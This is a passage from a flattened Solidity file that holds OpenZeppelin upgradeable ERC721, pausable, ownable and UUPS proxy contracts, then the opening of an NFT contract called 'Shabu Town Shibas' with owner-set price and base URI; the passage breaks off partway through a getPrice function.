* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
function __ERC721_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721_init_unchained(name_, symbol_);
}
function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return
interfaceId == type(IERC721Upgradeable).interfaceId ||
interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721Upgradeable.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721Upgradeable.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721Upgradeable.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721ReceiverUpgradeable(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
uint256[44] private __gap;
}
// File: @openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721EnumerableUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721EnumerableUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721EnumerableUpgradeable is Initializable, ERC721Upgradeable, IERC721EnumerableUpgradeable {
function __ERC721Enumerable_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721Enumerable_init_unchained();
}
function __ERC721Enumerable_init_unchained() internal initializer {
}
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) {
return interfaceId == type(IERC721EnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Upgradeable.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721EnumerableUpgradeable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721Upgradeable.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721Upgradeable.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
uint256[46] private __gap;
}
// File: @openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// File: @openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
// File: @openzeppelin/contracts-upgradeable/proxy/beacon/IBeaconUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeaconUpgradeable {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
// File: @openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlotUpgradeable {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// File: @openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol
pragma solidity ^0.8.2;
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967UpgradeUpgradeable is Initializable {
function __ERC1967Upgrade_init() internal initializer {
__ERC1967Upgrade_init_unchained();
}
function __ERC1967Upgrade_init_unchained() internal initializer {
}
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallSecure(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
_functionDelegateCall(
newImplementation,
abi.encodeWithSignature("upgradeTo(address)", oldImplementation)
);
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_upgradeTo(newImplementation);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(
AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
_functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data);
}
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {
require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, "Address: low-level delegate call failed");
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
uint256[50] private __gap;
}
// File: @openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an
* {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy.
*
* A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is
* reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing
* `UUPSUpgradeable` with a custom implementation of upgrades.
*
* The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism.
*
* _Available since v4.1._
*/
abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable {
function __UUPSUpgradeable_init() internal initializer {
__ERC1967Upgrade_init_unchained();
__UUPSUpgradeable_init_unchained();
}
function __UUPSUpgradeable_init_unchained() internal initializer {
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeTo(address newImplementation) external virtual {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, bytes(""), false);
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call
* encoded in `data`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, data, true);
}
/**
* @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by
* {upgradeTo} and {upgradeToAndCall}.
*
* Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}.
*
* ```solidity
* function _authorizeUpgrade(address) internal override onlyOwner {}
* ```
*/
function _authorizeUpgrade(address newImplementation) internal virtual;
uint256[50] private __gap;
}
// File: contracts/ShabuTownShibas.sol
pragma solidity ^0.8.0;
contract ShabuTownShibas is Initializable, ERC721Upgradeable, ERC721EnumerableUpgradeable, PausableUpgradeable, OwnableUpgradeable, UUPSUpgradeable {
string _baseTokenURI;
uint256 private _reserved;
uint256 private _price;
address w1;
function initialize() initializer public {
__ERC721_init("Shabu Town Shibas", "STS");
__ERC721Enumerable_init();
__Pausable_init();
__Ownable_init();
__UUPSUpgradeable_init();
_baseTokenURI = "https://shabu.town/api/nft/shiba/";
_reserved = 10000;
_price = 0.05 ether;
w1 = 0x54e35a069FF7916D594c4b7FD404Bd7688f589da;
}
function pause() public onlyOwner {
_pause();
}
function unpause() public onlyOwner {
_unpause();
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
whenNotPaused
override(ERC721Upgradeable, ERC721EnumerableUpgradeable)
{
super._beforeTokenTransfer(from, to, tokenId);
}
function _authorizeUpgrade(address newImplementation)
internal
onlyOwner
override
{}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721Upgradeable, ERC721EnumerableUpgradeable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
function setBaseURI(string memory baseURI) public onlyOwner {
_baseTokenURI = baseURI;
}
function setPrice(uint256 _newPrice) public onlyOwner() {
_price = _newPrice;
}
function getPrice() public view returns (uint256){
